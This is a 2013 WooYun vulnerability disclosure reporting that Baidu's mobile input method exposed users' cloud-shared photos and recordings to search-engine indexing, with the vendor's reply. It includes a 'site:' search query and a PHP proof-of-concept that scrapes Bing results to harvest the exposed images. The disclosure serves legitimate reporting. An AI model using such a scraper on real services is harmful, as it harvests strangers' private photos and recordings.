当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024145

漏洞标题：百度手机输入法部分个人敏感信息（照片、录音等）泄露

相关厂商：百度

漏洞作者： 镇长

提交时间：2013-05-20 15:28

修复时间：2013-07-04 15:29

公开时间：2013-07-04 15:29

漏洞类型：敏感信息泄露

危害等级：中

自评Rank：9

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-20： 细节已通知厂商并且等待厂商处理中
2013-05-20： 厂商已经确认，细节仅向厂商公开
2013-05-30： 细节向核心白帽子及相关领域专家公开
2013-06-09： 细节向普通白帽子公开
2013-06-19： 细节向实习白帽子公开
2013-07-04： 细节向公众公开

简要描述：

新版百度手机输入法增加贴心功能导致用户信息泄露

详细说明：

百度手机输入法最新版增加了工具条，为了用户方便可以发送图片、二维码、录音存储在云端，由于不严谨造成信息被搜索引擎抓取。造成了大量的用户内容被泄露，其中有不少个人重要信息。
因为这个东西不需要任何技术，危害程度是普通网民就可以发生的。
所以危害等级自己认为至少中。

漏洞证明：

Google或者bing：
输入关键词：site:ci.baidu.com
[bing=80,000 条结果],[Google=约 约 308 条结果 ]
提供一个方便查看的方式。

<?php
error_reporting(0);
set_time_limit(0);
$url = 'http://cn.bing.com/search?q=site%3Aci.baidu.com&go=&qs=n&form=QBRE&pq=site%3Aci.baidu.com&sc=0-0&sp=-1&sk=&first={num}';
$i = ($_GET['i']-1)*10;
$api = file_get_contents(str_replace('{num}',$i,$url));
preg_match_all('/<a href=\"http:\/\/ci.baidu.com\/([a-zA-Z0-9]+)?\"/',$api,$a);
foreach($a[1] as $v) {
    $tl='http://ci.baidu.com/'.$v;
    $ttt = file_get_contents($tl);
    preg_match_all('/(<img src="http:\/\/bs.baidu.com\/imemmi\/.*?\/>)/is',$ttt,$aa);
    if($aa[0]){
        echo '<p>';
        echo '<a target="_blank" href="'.$tl.'">';
        echo $aa[0][0];
        echo '</a>';
        echo '</p>';
    }
}
?>


5555.png


23233.png


12333.png

修复方案：

版权声明：转载请注明来源 镇长@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2013-05-20 16:05

厂商回复：

感谢反馈，这是一个已知问题，我们也已经采取了一些措施来处理这个问题，后续我们还将彻底解决这个问题，可能时间会稍微长一些，灰常感谢你的反馈，后续有最新进展我们也会实时同步。

最新状态：

暂无